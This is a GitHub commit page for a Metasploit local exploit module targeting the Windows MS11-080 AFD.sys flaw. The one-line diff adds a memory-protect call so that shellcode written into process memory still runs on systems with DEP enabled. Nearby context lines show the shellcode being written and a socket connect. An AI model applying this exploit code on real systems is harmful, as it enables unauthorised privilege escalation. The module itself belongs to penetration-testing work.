Skip to content

Commit 21e832a

Browse files
committed
add call to memory protect to fix DEP environments
1 parent c93692b commit 21e832a

File tree

1 file changed

+1
-0
lines changed

1 file changed

+1
-0
lines changed

modules/exploits/windows/local/ms11_080_afdjoinleaf.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -244,6 +244,7 @@ def exploit
244244

245245
this_proc.memory.write(shellcode_address_dep, shellcode)
246246
this_proc.memory.write(shellcode_address_nodep, shellcode)
247+
this_proc.memory.protect(0x00020000)
247248

248249
addr = [ 2, 4455, 0x7f000001, 0, 0 ].pack("s!S!L!L!L!")
249250
result = session.railgun.ws2_32.connect(socket, addr, addr.length)

0 commit comments

Comments
 (0)